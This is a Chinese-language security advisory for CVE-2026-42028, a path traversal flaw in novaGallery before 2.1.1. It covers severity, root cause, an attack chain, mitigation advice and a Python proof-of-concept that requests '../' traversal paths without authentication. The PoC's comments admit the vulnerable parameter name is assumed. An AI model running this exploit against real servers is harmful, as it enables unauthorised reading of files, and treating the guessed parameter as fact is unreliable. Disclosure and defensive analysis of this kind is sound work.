IPBUF安全漏洞报告
English
CVE-2026-42028 CVSS 5.3 中危

CVE-2026-42028 novaGallery路径遍历漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42028
漏洞类型
路径遍历
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
novaGallery

相关标签

路径遍历novaGallery信息泄露无需认证CVSS-5.3

漏洞概述

novaGallery是一款基于PHP开发的图片库应用程序。在2.1.1版本之前,该系统未能正确处理用户输入的文件路径参数,存在路径遍历安全漏洞。未经身份验证的攻击者可以利用该漏洞,通过构造特殊的恶意请求,读取Web服务器上预定库根目录之外的图片文件,从而造成敏感信息泄露。官方已在2.1.1版本中发布了修复补丁以解决此问题。

技术细节

该漏洞的根本原因在于novaGallery在处理用户请求时,未能对输入的文件路径参数进行严格的过滤和验证。应用程序直接使用用户提供的参数构建文件路径,而未对其进行标准化处理。攻击者可以通过在URL或参数中插入“../”等目录跳转序列,突破应用程序设置的限制目录(Gallery Root)。由于系统未对未授权用户的访问进行有效拦截(PR:N),且无需用户交互(UI:N),攻击者可以直接向服务器发送恶意请求。服务器在接收到请求后,将拼接后的路径直接用于文件读取操作,导致攻击者能够遍历文件系统并访问敏感的图片文件。虽然漏洞主要影响机密性(C:L),仅限于读取图片文件,但这可能包含用户上传的敏感数据或系统配置信息。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标服务器上运行的novaGallery版本,确认其是否为2.1.1之前的易受攻击版本。
STEP 2
2. 构造攻击载荷
攻击者构造包含路径遍历字符(如'../')的HTTP请求,旨在访问预定库目录之外的图片文件。
STEP 3
3. 发起攻击
攻击者向服务器发送恶意请求,无需进行身份验证即可触发漏洞。
STEP 4
4. 数据泄露
服务器处理请求并返回指定路径的图片文件内容,导致攻击者获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url): # The vulnerable parameter might vary, assuming 'file' or 'image' based on description # Payload attempts to traverse out of the web root traversal_payload = "../../../tmp/sensitive_image.jpg" # Construct the full URL # Example: http://target.com/novagallery/index.php?file=../../../tmp/sensitive_image.jpg attack_url = f"{target_url}/index.php?file={traversal_payload}" try: response = requests.get(attack_url, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Checking if file content was leaked...") # Check for image header or specific content to verify success if b"JFIF" in response.content or b"PNG" in response.content: print("[!] Vulnerability Confirmed: Image file read successfully.") print(f"[+] Content Length: {len(response.content)} bytes") else: print("[-] Response received, but content does not look like an image.") else: print(f"[-] Exploit failed. HTTP Status Code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {str(e)}") if __name__ == "__main__": target = "http://127.0.0.1/novagallery" # Replace with actual target exploit(target)

影响范围

novaGallery < 2.1.1

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或WAF层面拦截包含路径遍历特征(如'../'、'%2e%2e/'等)的请求。同时,检查并移除服务器上非必要的敏感图片文件,或将其移动到Web根目录之外。

参考链接